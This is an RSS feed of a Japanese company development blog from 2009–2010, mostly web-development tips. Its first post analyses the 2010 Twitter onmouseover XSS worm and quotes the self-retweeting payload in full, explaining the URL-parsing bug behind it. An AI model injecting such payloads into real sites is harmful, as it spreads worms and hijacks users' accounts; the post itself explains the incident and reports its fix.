<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>BPS株式会社 開発ブログ Beyond Perspective Solutions LTD. &#187; Web</title>
	<atom:link href="http://www.bpsinc.jp/blog/archives/category/web/feed" rel="self" type="application/rss+xml" />
	<link>http://www.bpsinc.jp/blog</link>
	<description>BPS株式会社（Beyond Perspective Solutions）のプログラマによる技術・開発などに関してのブログです</description>
	<lastBuildDate>Wed, 20 Jul 2011 08:14:42 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.5</generator>
	<language>ja</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>TwitterのXSS脆弱性をついたタイムライン汚染攻撃</title>
		<link>http://www.bpsinc.jp/blog/archives/2335</link>
		<comments>http://www.bpsinc.jp/blog/archives/2335#comments</comments>
		<pubDate>Tue, 21 Sep 2010 13:25:11 +0000</pubDate>
		<dc:creator>baba</dc:creator>
				<category><![CDATA[Web]]></category>
		<category><![CDATA[セキュリティ]]></category>
		<category><![CDATA[馬場]]></category>
		<category><![CDATA[Twitter]]></category>
		<category><![CDATA[脆弱性]]></category>

		<guid isPermaLink="false">http://www.bpsinc.jp/blog/?p=2335</guid>
		<description><![CDATA[本日夕方から、TwitterのXSS（Cross Site Scripting：クロスサイトスクリプティング）脆弱性を突いた攻撃がすさまじいペースで広がっています。
私もWebで見る派なので、踏んでしまいました（それによ [...]]]></description>
			<content:encoded><![CDATA[<p>本日夕方から、TwitterのXSS（Cross Site Scripting：クロスサイトスクリプティング）脆弱性を突いた攻撃がすさまじいペースで広がっています。</p>
<p>私もWebで見る派なので、踏んでしまいました（それによりご迷惑をおかけした方申し訳ありません）。<br />
リツイートされたものを解除しようにもログインできず、公式ReTweetはWebでしか解除できないので困っています。</p>
<p>公式ReTweetの仕様上の問題点も活用した、なかなか鮮やかな手口ですね。</p>
<p>問題のツイートの一例が↓です。</p>
<pre class="brush:html">
&#60;span class="entry-content"&#62;
	&#60;a
		href="http://a.no/@"
		onmouseover=";$('textarea:first').val(this.innerHTML);$('.status-update-form').submit()"
		style="color:#000;background:#000;/"
		class="tweet-url web"
		rel="nofollow"
		target="_blank"&#62;
	http://a.no/@"onmouseover=";$('textarea:first').val(this.innerHTML);$('.status-update-form').submit()" style="color:#000;background:#000;/
	&#60;/a&#62;
&#60;/span&#62;
</pre>
<p>要するに、マウスオーバーしたら自分と同じものをつぶやくというコードですね。</p>
<p>肝の部分は↓です。</p>
<pre class="brush:html">
http://a.no/@"onmouseover=";$('textarea:first').val(this.innerHTML);$('.status-update-form').submit()" style="color:#000;background:#000;/
</pre>
<p>httpで始まる文字列はリンクに変換されますが、@の認識の仕方にバグがあったようですね。文字列の最後までがリンクURLと認識され、見事にXSSが成功しています。</p>
<p>それにしても驚くのが、感染の早さ。<br />
技術的なキモは、単純なURL判定アルゴリズムのミスですが、それをTwitter上で実施するだけでここまでのスピードで広がってしまうとは、リアルタイムなTwitterの怖いところです。</p>
<p>Twitterなので、直接的な被害はTwitter上に限られていると思いますが、どのくらい工夫した亜種が流れているのでしょうか？</p>
<p><strong>2010/09/21 22:44追記</strong><br />
該当のXSS脆弱性がひとまず修正されたようですね。<br />
また、原因になっていた公式リツイートは削除されているようです。<br />
なお、ログインする際はブラウザのキャッシュとCookieを消してからのほうが良いです。</p>
<p>基本的にXSSでパスワードが知られてしまうことはありませんが（ブラウザに保存していたら知りません）、メールアドレスの変更→パスワードリセット　を使ってパスワードを変更することは理論上可能なので、プロフィールがおかしくなっていないかチェックしておいた方が良いですね。</p>
<p><strong>2010/09/21 23:05追記</strong><br />
Twitter公式情報で、修正がアナウンスされています。<br />
日本時間22:50の時点で、全世界に修正が行き渡ったようです。<br />
<a href="http://status.twitter.com/post/1161435117/xss-attack-identified-and-patched">http://status.twitter.com/post/1161435117/xss-attack-identified-and-patched</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.bpsinc.jp/blog/archives/2335/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>JQuery UI Tabsでタブ表示</title>
		<link>http://www.bpsinc.jp/blog/archives/2289</link>
		<comments>http://www.bpsinc.jp/blog/archives/2289#comments</comments>
		<pubDate>Fri, 27 Aug 2010 09:34:48 +0000</pubDate>
		<dc:creator>shibachan</dc:creator>
				<category><![CDATA[HTML]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[Tabs]]></category>
		<category><![CDATA[UI]]></category>

		<guid isPermaLink="false">http://www.bpsinc.jp/blog/?p=2289</guid>
		<description><![CDATA[こんにちわ芝原です。
始めてのJavascript関連の投稿です。
お手柔らかにどうぞ。
たくさんのコンテンツをすっきり表示させるための方法として、タブという手法がよくつかわれると思います。
今回は、この便利なタブ表示を [...]]]></description>
			<content:encoded><![CDATA[<p>こんにちわ芝原です。</p>
<p>始めてのJavascript関連の投稿です。<br />
お手柔らかにどうぞ。</p>
<p>たくさんのコンテンツをすっきり表示させるための方法として、タブという手法がよくつかわれると思います。<br />
今回は、この便利なタブ表示をJQueryを使って実現する方法を解説します。<br />
動作はこんな感じになります。<br />
<a href="http://jqueryui.com/demos/tabs/default.html">http://jqueryui.com/demos/tabs/default.html</a></p>
<h3>必要なファイルのダウンロード</h3>
<p>jquery本体とui.core.js、ui.tabs.jsが必要です。</p>
<p><a href="http://jqueryui.com/download/jquery-ui-1.8.4.custom.zip">こちら</a>から簡単にダウンロードできますが余計なファイルも多分に入っているので、<a href="http://jqueryui.com/download">こちら</a>からファイルを選択してダウンロードしてもいいと思います。</p>
<h3>スクリプトの読み込み</h3>
<p>必要なファイルを読み込みます。<br />
head内に記述するのが一般的です。</p>
<pre class="brush:html">&#60;script type="text/javascript" src="/path/to/jquery.js"&#62;&#60;/script&#62;
&#60;script type="text/javascript" src="/path/to/ui.core.js"&#62;&#60;/script&#62;
&#60;script type="text/javascript" src="/path/to/ui.tabs.js"&#62;&#60;/script&#62;</pre>
<h3>HTMLの構造</h3>
<pre class="brush:html">&#60;div id="tabs"&#62;
    &#60;ul&#62;
        &#60;li&#62;&#60;a href="#tab1"&#62;タブに表示する文字&#60;/a&#62;&#60;/li&#62;
        &#60;li&#62;&#60;a href="#tab1"&#62;タブに表示する文字&#60;/a&#62;&#60;/li&#62;
        &#60;li&#62;&#60;a href="#tab3"&#62;タブに表示する文字&#60;/a&#62;&#60;/li&#62;
    &#60;/ul&#62;
    &#60;div id="tab1"&#62;
        タブの中身
    &#60;/div&#62;
    &#60;div id="tab2"&#62;
        タブの中身
    &#60;/div&#62;
    &#60;div id="tab3"&#62;
        タブの中身
    &#60;/div&#62;
&#60;/div&#62;</pre>
<h3>タブの設定</h3>
<pre class="brush:html">&#60;script type="text/javascript"&#62;
    var $tabs = $('#tabs').tabs();
    $tabs.tabs('select' 1); // 2番目のタブを選択状態にする
                            // デフォルトでは1番目のタブ
&#60;/script&#62;</pre>
<p>たったこれだけでタブが実装できました。</p>
<p>さらに詳しい情報を知りたい方は、<a href="http://jqueryui.com/demos/tabs/">公式ドキュメント</a>をご覧ください。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bpsinc.jp/blog/archives/2289/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Firebugをクリーンに改造する</title>
		<link>http://www.bpsinc.jp/blog/archives/2059</link>
		<comments>http://www.bpsinc.jp/blog/archives/2059#comments</comments>
		<pubDate>Thu, 08 Jul 2010 02:36:33 +0000</pubDate>
		<dc:creator>baba</dc:creator>
				<category><![CDATA[CSS]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[馬場]]></category>
		<category><![CDATA[Firebug]]></category>
		<category><![CDATA[Firefox]]></category>
		<category><![CDATA[アイコン]]></category>
		<category><![CDATA[改造]]></category>

		<guid isPermaLink="false">http://www.bpsinc.jp/blog/?p=2059</guid>
		<description><![CDATA[ググれば出てくるようなネタではありますが。
Firebugの最大の欠陥は、見た目があれなことです。
開発者の中には、あれが大の苦手の人もたくさんいると思います。
# 私は先週薬局に駆け込んでバルサンしてきました。
# と [...]]]></description>
			<content:encoded><![CDATA[<p>ググれば出てくるようなネタではありますが。</p>
<p>Firebugの最大の欠陥は、見た目があれなことです。</p>
<p>開発者の中には、あれが大の苦手の人もたくさんいると思います。</p>
<p># 私は先週薬局に駆け込んでバルサンしてきました。<br />
# というか良く思うんですが、なんでバルサンとかの製品にイラストを描くんでしょうね？買う人の気持ちを何も分かっていない。</p>
<p>ということで、しっかりと消しておきましょう。</p>
<p>このZIPファイルでプラグインを上書きすれば、すべてOKになります。1.5.4で確認。<br />
<a href='http://www.bpsinc.jp/blog/wp-content/uploads/2010/07/clean_fire.zip'>clean_fire</a></p>
<p>インストール済みの場合は、以下</p>
<blockquote><p>
C:\Users\***\AppData\Roaming\Mozilla\Firefox\Profiles\<br />
***.default\extensions\firebug@software.joehewitt.com
</p></blockquote>
<p>未インストールの場合は、XPIファイルをダウンロード→拡張子をZIPにして解凍して、上書きして下さい。</p>
<p>これで再起動すれば、快適な開発ライフを堪能できますね！作業効率倍増です。</p>
<div id="attachment_2062" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.bpsinc.jp/blog/wp-content/uploads/2010/07/screen.png"><img src="http://www.bpsinc.jp/blog/wp-content/uploads/2010/07/screen-300x62.png" alt="快適なHTML/CSSライフを！" title="screen" width="300" height="62" class="size-medium wp-image-2062" /></a><p class="wp-caption-text">快適なHTML/CSSライフを！</p></div>
<p>Windowsのアイコンキャッシュがたまに殺人的な効力を発揮することがあるので、<br />
C:\Users\***\AppData\Local\IconCache.db<br />
を消したりしておいた方が気休めになります。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bpsinc.jp/blog/archives/2059/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Photoshopでしましまアニメーションを作ろう</title>
		<link>http://www.bpsinc.jp/blog/archives/1806</link>
		<comments>http://www.bpsinc.jp/blog/archives/1806#comments</comments>
		<pubDate>Sat, 19 Jun 2010 00:07:05 +0000</pubDate>
		<dc:creator>baba</dc:creator>
				<category><![CDATA[Web]]></category>
		<category><![CDATA[馬場]]></category>
		<category><![CDATA[Photoshop]]></category>
		<category><![CDATA[アニメーション]]></category>

		<guid isPermaLink="false">http://www.bpsinc.jp/blog/?p=1806</guid>
		<description><![CDATA[Webで背景透過を強調するために、こんな画像を使いたいことはありませんか？
これなら、デザインセンスが抜群の馬場でも作れそうです。
以下のようにやりました。
まずは、フィルタのハーフトーンパターンでしましまを描きます。
 [...]]]></description>
			<content:encoded><![CDATA[<p>Webで背景透過を強調するために、こんな画像を使いたいことはありませんか？</p>
<div id="attachment_1808" class="wp-caption aligncenter" style="width: 168px"><a href="http://www.bpsinc.jp/blog/wp-content/uploads/2010/06/pattern_anim.gif"><img src="http://www.bpsinc.jp/blog/wp-content/uploads/2010/06/pattern_anim.gif" alt="しましま" title="pattern_anim" width="158" height="158" class="size-full wp-image-1808" /></a><p class="wp-caption-text">しましま</p></div>
<p>これなら、デザインセンスが抜群の馬場でも作れそうです。</p>
<p>以下のようにやりました。</p>
<p>まずは、フィルタのハーフトーンパターンでしましまを描きます。<br />
<div id="attachment_1810" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.bpsinc.jp/blog/wp-content/uploads/2010/06/11.png"><img src="http://www.bpsinc.jp/blog/wp-content/uploads/2010/06/11-300x205.png" alt="ハーフトーンパターンでしましまを描く" title="1" width="300" height="205" class="size-medium wp-image-1810" /></a><p class="wp-caption-text">ハーフトーンパターンでしましまを描く</p></div></p>
<p>そして、アニメーションウィンドウを開きます。<br />
<div id="attachment_1811" class="wp-caption aligncenter" style="width: 308px"><a href="http://www.bpsinc.jp/blog/wp-content/uploads/2010/06/21.png"><img src="http://www.bpsinc.jp/blog/wp-content/uploads/2010/06/21-298x300.png" alt="アニメーションを開きます" title="2" width="298" height="300" class="size-medium wp-image-1811" /></a><p class="wp-caption-text">アニメーションを開きます</p></div></p>
<p>背景をレイヤーにしたら、フレームアニメーション（タイムラインではない）に設定して、1コマずつ微妙にずらしていきます。<br />
<div id="attachment_1812" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.bpsinc.jp/blog/wp-content/uploads/2010/06/31.png"><img src="http://www.bpsinc.jp/blog/wp-content/uploads/2010/06/31-300x281.png" alt="アニメーションを設定" title="3" width="300" height="281" class="size-medium wp-image-1812" /></a><p class="wp-caption-text">アニメーションを設定</p></div></p>
<p>ハーフトーンの1マス分ずらしたら、後はループでスムーズに動いているように見えます。<br />
透明部分ができないように、適当な大きさでスライスして、Web及びデバイス用に保存でGIFに書き出せばOKです。</p>
<p>これで格好いいアニメーションが作れますね！</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bpsinc.jp/blog/archives/1806/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>jQuery.formとJSONView</title>
		<link>http://www.bpsinc.jp/blog/archives/1758</link>
		<comments>http://www.bpsinc.jp/blog/archives/1758#comments</comments>
		<pubDate>Thu, 17 Jun 2010 00:43:14 +0000</pubDate>
		<dc:creator>baba</dc:creator>
				<category><![CDATA[HTML]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[馬場]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[JSON]]></category>
		<category><![CDATA[バグ]]></category>
		<category><![CDATA[相性]]></category>

		<guid isPermaLink="false">http://www.bpsinc.jp/blog/?p=1758</guid>
		<description><![CDATA[JSONViewは、Firefoxで application/json なコンテンツを綺麗に表示するプラグインです。
とても便利ですね。
ところが、jQuery.formプラグインなどと組み合わせると、不具合を起こすこと [...]]]></description>
			<content:encoded><![CDATA[<p><a href="https://addons.mozilla.org/ja/firefox/addon/10869/">JSONView</a>は、Firefoxで application/json なコンテンツを綺麗に表示するプラグインです。<br />
とても便利ですね。</p>
<p>ところが、jQuery.formプラグインなどと組み合わせると、不具合を起こすことがあるので注意が必要です。</p>
<p>一般的なajaxでは、</p>
<pre class="brush:javascript">
$.ajax({
  url: 'hogehgoe',
  success: function(data, dataType) {
  }
});
</pre>
<p>といったやりかたをしますが、このときは特に問題ありません。</p>
<p>しかし、jQuery.formで $(&#8217;form&#8217;).ajaxSubmit() を使う場合、内部的には$.ajaxは使用されていません。<br />
XMLHttpRequestでは画像データ等のmultipart/form-dataを送信できないため、ダミーのiframeを作って、そこをターゲットにformの送信を実行しています。</p>
<pre class="brush:javascript">
//jquery.form.jsの内部コードのイメージ
var iframe = '&#60;iframe id="hoge" onload="irame-onload"&#62;&#60;/iframe&#62;';
$('form').attr('target', 'hoge');
$('form').submit();
</pre>
<p>これで、ajaxSubmitをすると、結果がiframeに入ります。<br />
iframeのonloadイベントで、内部のinnerHTMLを見て、結果を呼び出し元に返す処理を行っています。</p>
<p>ここで、iframeの中身がどんな値になるかは、ブラウザの実装依存です。<br />
一般に、プレインテキストやJSON形式が渡ってきたとしても、DOMツリーを構築するためにbodyタグまでは作ってしまうようです。</p>
<p>良くあるパターン</p>
<pre class="brush:html">
&#60;html&#62;
&#60;head&#62;&#60;/head&#62;
&#60;body&#62;{"result":"これが結果です"}&#60;/body&#62;
&#60;/html&#62;
</pre>
<p>jquery.formプラグインは、ブラウザがbodyタグの中に直接値を入れるか、またはpreやtextareaに値を入れることを期待しています。</p>
<p>しかし、JSONViewを使うと、以下のような綺麗なHTMLを勝手に作ってくれてしまいます。</p>
<pre class="brush:html">
&#60;html&#62;
&#60;head&#62;&#60;/head&#62;
&#60;body&#62;
&#60;doctype html=""&#62;
  &#60;div id="json"&#62;
    {
    &#60;ul class="obj collapsible"&#62;
      &#60;li&#62;&#60;span class="prop"&#62;result&#60;/span&#62;: &#60;span class="num"&#62;0&#60;/span&#62;&#60;/li&#62;
    &#60;/ul&#62;
    }
  &#60;/div&#62;
&#60;/doctype&#62;
&#60;/body&#62;
</pre>
<p>人間様が見るには良いですが、これではjquery.formプラグインが認識できません。<br />
そんなわけで、doctype html&#8230; といった値を丸ごとJSONパースしようとして、エラーになってしまいます。</p>
<p>解決策は、Content-Typeを変えるか、jquery.formを改造するくらいしかありません。</p>
<p>Content-Typeの変更が、一番みんなハッピーになれるはずです。</p>
<p>これに気づかず、JSONViewを入れると動かなくなるWebサイトがあるかもしれませんね。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bpsinc.jp/blog/archives/1758/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Google Mapsをサイトに埋め込む、iframeでの引数</title>
		<link>http://www.bpsinc.jp/blog/archives/1837</link>
		<comments>http://www.bpsinc.jp/blog/archives/1837#comments</comments>
		<pubDate>Wed, 16 Jun 2010 14:12:52 +0000</pubDate>
		<dc:creator>junya</dc:creator>
				<category><![CDATA[HTML]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[勝見]]></category>
		<category><![CDATA[api]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Google Maps]]></category>
		<category><![CDATA[埋め込み]]></category>
		<category><![CDATA[引数]]></category>

		<guid isPermaLink="false">http://www.bpsinc.jp/blog/?p=1837</guid>
		<description><![CDATA[Google MapsをWebサイトにiframe埋め込む際に
Google Mapsのサイトでカスタマイズさせてくれるのはサイズと尺度、初期位置くらいです。
せっかく埋め込むのなら色々とカスタマイズしようと思ったのです [...]]]></description>
			<content:encoded><![CDATA[<p>Google MapsをWebサイトにiframe埋め込む際に<br />
Google Mapsのサイトでカスタマイズさせてくれるのはサイズと尺度、初期位置くらいです。<br />
せっかく埋め込むのなら色々とカスタマイズしようと思ったのですが<br />
日本語のリファレンスがなかなか見当たりませんでした。<br />
なら自分でまとめてしまえ、という事で動作確認の取れた引数のみ、まとめました。</p>
<p>まず、Google Mapsをサイトに埋め込む方法から。<br />
<a href="http://www.bpsinc.jp/blog/wp-content/uploads/2010/06/GoogleMaps_01.png"><img src="http://www.bpsinc.jp/blog/wp-content/uploads/2010/06/GoogleMaps_01-300x170.png" alt="GoogleMaps_01" title="GoogleMaps_01" width="300" height="170" class="alignnone size-medium wp-image-1854" /></a></p>
<p>１、http://maps.google.co.jp/ にアクセスし、住所を検索<br />
２、画面右端の「リンク」をクリック<br />
３、出てきた窓の「埋め込み地図のカスタマイズとレビュー」をクリック</p>
<p><a href="http://www.bpsinc.jp/blog/wp-content/uploads/2010/06/GoogleMaps_02.png"><img src="http://www.bpsinc.jp/blog/wp-content/uploads/2010/06/GoogleMaps_02-227x300.png" alt="GoogleMaps_02" title="GoogleMaps_02" width="227" height="300" class="alignnone size-medium wp-image-1855" /></a></p>
<p>４、枠のサイズを選択、カスタムを選ぶと好きなサイズに出来ます<br />
５、プレビュー画面でズームや位置、地図のタイプ(地図や衛星写真等)を感覚的に決めます。<br />
６、HTMLをコピーし、サイトの埋め込みたい箇所に貼りつける。</p>
<p>これでとりあえず、表示されます。次はカスタマイズの時間です。</p>
<p>※今回は引数を分かりやすくするため、改行してありますが<br />
改行するとエラーが出る可能性があるので、使用時は１行にしてください。</p>
<pre class="brush:html">
&#60;iframe
    width="600"
    height="350"
    frameborder="0"
    scrolling="no"
    marginheight="0"
    marginwidth="0"
    src="http://maps.google.co.jp/maps?
        &#60;!-- ここから引数 --&#62;
    &#60;!-- 目的別 q → デフォルト  d → 乗換案内(output=embedがない時のみ有効)--&#62;
    f=q&amp;
    &#60;!-- マップ内仕様言語 ja → 日本語  en → 英語--&#62;
    hl=ja&amp;
    &#60;!-- 緑の矢印マーカー座標(URLエンコードで入力すれば日本語も可) --&#62;
    q=35.508591,139.4427722&amp;
    &#60;!-- マップタイプ  m → マップ  k → 衛星写真 p → 地形  e → Google Earth--&#62;
    t=m&amp;
    &#60;!-- オーバービュー表示非表示 0 → 非表示  1 → 表示(output=embedがない時のみ有効) --&#62;
    om=0&amp;
    &#60;!-- URL内に日本語を入れる際の文字コード --&#62;
    ie=UTF8&amp;
    &#60;!-- 出力文字コード --&#62;
    oe=UTF8&amp;
    &#60;!-- 地図中心座標 --&#62;
    ll=35.508191,139.4440022&amp;
    &#60;!-- 尺度（0～23、値が小さいほど縮小する） --&#62;
    z=17&amp;
    &#60;!-- この引数があるとmapのみを枠に埋め込みます --&#62;
    output=embed
"&#62;&#60;/iframe&#62;
</pre>
<p>これを実行するとこうなります。<br />
<iframe width="600" height="350" frameborder="0" scrolling="no" marginheight="0" marginwidth="0" src="http://maps.google.co.jp/maps?f=q&amp;hl=ja&amp;t=m&amp;om=0&&amp;q=35.508591,139.4427722&amp;ie=UTF8&amp;oe=UTF8&amp;ll=35.508191,139.4440022&amp;z=17&amp;output=embed"></iframe></p>
<p>上記以外の引数を発見した方はコメントを残していただけると嬉しいです。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bpsinc.jp/blog/archives/1837/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>FirefoxアドオンJSONViewでJSONを見やすくする</title>
		<link>http://www.bpsinc.jp/blog/archives/1799</link>
		<comments>http://www.bpsinc.jp/blog/archives/1799#comments</comments>
		<pubDate>Mon, 14 Jun 2010 23:00:13 +0000</pubDate>
		<dc:creator>tomotaka</dc:creator>
				<category><![CDATA[Web]]></category>
		<category><![CDATA[伊藤]]></category>
		<category><![CDATA[Firefoxアドオン]]></category>
		<category><![CDATA[JSON]]></category>

		<guid isPermaLink="false">http://www.bpsinc.jp/blog/?p=1799</guid>
		<description><![CDATA[伊藤です。
最近JSONをやりとりするWebシステムの開発に関わっていて、プログラム用に加工されたフラットなJSONが見づらくて困っていました。
そこで軽く検索してみたら、JSONViewという非常に便利なFirefox [...]]]></description>
			<content:encoded><![CDATA[<p>伊藤です。</p>
<p>最近JSONをやりとりするWebシステムの開発に関わっていて、プログラム用に加工されたフラットなJSONが見づらくて困っていました。<br />
そこで軽く検索してみたら、JSONViewという非常に便利なFirefoxアドオンを発見しました！</p>
<p><img class="alignnone size-full wp-image-1801" title="jsonview" src="http://www.bpsinc.jp/blog/wp-content/uploads/2010/06/jsonview.png" alt="jsonview" width="365" height="319" /></p>
<p>1行につめこまれていたJSONが画像のような感じで見れます。バッククオートなどのエスケープも外してくれるし、URLはクリックでそのまま飛ぶことができます。<br />
注意としては、サーバ側のレスポンスのContent-typeがapplication/jsonじゃないと、この整形機能は発動しないようです。<br />
JSONを使ったシステムの開発をされている方は入れてみてください。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bpsinc.jp/blog/archives/1799/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>HTML/CSS floatを無駄なく解除する方法</title>
		<link>http://www.bpsinc.jp/blog/archives/1805</link>
		<comments>http://www.bpsinc.jp/blog/archives/1805#comments</comments>
		<pubDate>Mon, 14 Jun 2010 12:21:37 +0000</pubDate>
		<dc:creator>junya</dc:creator>
				<category><![CDATA[CSS]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[勝見]]></category>
		<category><![CDATA[clear]]></category>
		<category><![CDATA[float]]></category>

		<guid isPermaLink="false">http://www.bpsinc.jp/blog/?p=1805</guid>
		<description><![CDATA[現在はHTML、CSSコーディングの知識を深めようと思い勉強中なのですが
最近知った、感心したものをひとつ、ご紹介したいと思います。
私は普段、floatを解除する際はCSSにて

    .clear {
       [...]]]></description>
			<content:encoded><![CDATA[<p>現在はHTML、CSSコーディングの知識を深めようと思い勉強中なのですが<br />
最近知った、感心したものをひとつ、ご紹介したいと思います。</p>
<p>私は普段、floatを解除する際はCSSにて</p>
<pre class="brush:css">
    .clear {
        clear:both;
    }
</pre>
<p>を用意して置き、</p>
<pre class="brush:html">
    &#60;div class="float_a"&#62; ～～～ &#60;/div&#62;　/*float要素a*/
    &#60;div class="float_b"&#62; ～～～ &#60;/div&#62;　/*float要素b*/
    &#60;div class="clear"&#62;&#60;/div&#62;　/*float解除*/
</pre>
<p>という手法を取っていましたが、空のdiv要素をコードの中にいくつも配置するのは美しくありません。<br />
もっと良い方法はないかと思い他の社員の方に聞いてみた所、こんな方法もあるよと教えてくださいました。</p>
<p>CSSにて</p>
<pre class="brush:css">
    /*IE7以外のモダンブラウザ向け*/
    .clearfix:after{
        content:".";
        display:block;
        height:0;
        clear:both;
        visibility:hidden;
    }

     /*IE7およびMacIE5向け*/
    .clearfix{ display:inline-block; }

    /*IE6以前向け*/
    /*Hides from IE-mac\*/
    * html .clearfix{height:1%;}
    .clearfix{display:block;}
    /*End hide from IE-mac*/
</pre>
<p>そして</p>
<pre class="brush:html">
    &#60;div class="float_box clearfix"&#62; /*floatの親要素＋clearfix*/
        &#60;div class="float_a"&#62; ～～～ &#60;/div&#62;　/*float要素a*/
        &#60;div class="float_b"&#62; ～～～ &#60;/div&#62;　/*float要素b*/
    &#60;/div&#62;
</pre>
<p>と記述することにより、親要素が閉じた瞬間にfloatが解除されます。</p>
<p>一度覚えてしまえば何てことはないですし、状況によっては前者の方が良い場合もありますが<br />
選択肢が増えるという事は、それだけきれいにコードが書けるようになるという事です。<br />
たくさんの知識を増やして、常にきれいなコードが書けるよう心がけたいですね。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bpsinc.jp/blog/archives/1805/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Amazon欲しいものリストを表示する</title>
		<link>http://www.bpsinc.jp/blog/archives/838</link>
		<comments>http://www.bpsinc.jp/blog/archives/838#comments</comments>
		<pubDate>Sat, 19 Dec 2009 23:03:10 +0000</pubDate>
		<dc:creator>baba</dc:creator>
				<category><![CDATA[Web]]></category>
		<category><![CDATA[馬場]]></category>
		<category><![CDATA[amazon]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.bpsinc.jp/blog/?p=838</guid>
		<description><![CDATA[Amazonの欲しいものリストをWordPressの中で表示するプラグインを作ってみました。
動作デモはこちら
詳細はこちら
まだデザインも使い勝手も洗練されていませんが、色々アイデアを埋め込んで便利にしていこうと思いま [...]]]></description>
			<content:encoded><![CDATA[<p>Amazonの欲しいものリストをWordPressの中で表示するプラグインを作ってみました。</p>
<p><a href="http://www.bpsinc.jp/blog/wishlist">動作デモはこちら</a></p>
<p><a href="http://www.bpsinc.jp/blog/mini-software/wordpress-amazon-wishlist">詳細はこちら</a></p>
<p>まだデザインも使い勝手も洗練されていませんが、色々アイデアを埋め込んで便利にしていこうと思います。</p>
<p>このような小さいプログラムを書くのも楽しいですね。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bpsinc.jp/blog/archives/838/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ブラウザキャプチャ</title>
		<link>http://www.bpsinc.jp/blog/archives/378</link>
		<comments>http://www.bpsinc.jp/blog/archives/378#comments</comments>
		<pubDate>Sun, 30 Aug 2009 00:43:52 +0000</pubDate>
		<dc:creator>baba</dc:creator>
				<category><![CDATA[Web]]></category>
		<category><![CDATA[馬場]]></category>

		<guid isPermaLink="false">http://www.bpsinc.jp/blog/?p=378</guid>
		<description><![CDATA[他の人とWebページのデザインやエラーについて共有するとき、ブラウザのスクリーンショットを撮る機能は必須です。
ワンクリックでキャプチャでき、長いページも1枚に保存できるFirefoxの拡張機能、
Pearl Cresc [...]]]></description>
			<content:encoded><![CDATA[<p>他の人とWebページのデザインやエラーについて共有するとき、ブラウザのスクリーンショットを撮る機能は必須です。</p>
<p>ワンクリックでキャプチャでき、長いページも1枚に保存できるFirefoxの拡張機能、<br />
Pearl Crescent Page Saver Basic ( https://addons.mozilla.org/ja/firefox/addon/10367 )を便利に使わせて頂いています。</p>
<p>ところでこのPage Saver、「保存時に確認する」をオフにすると、Firefoxのファイルダウンロード先フォルダに保存されるんですね。<br />
デスクトップに出てこないから慌ててしまいました；；</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bpsinc.jp/blog/archives/378/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

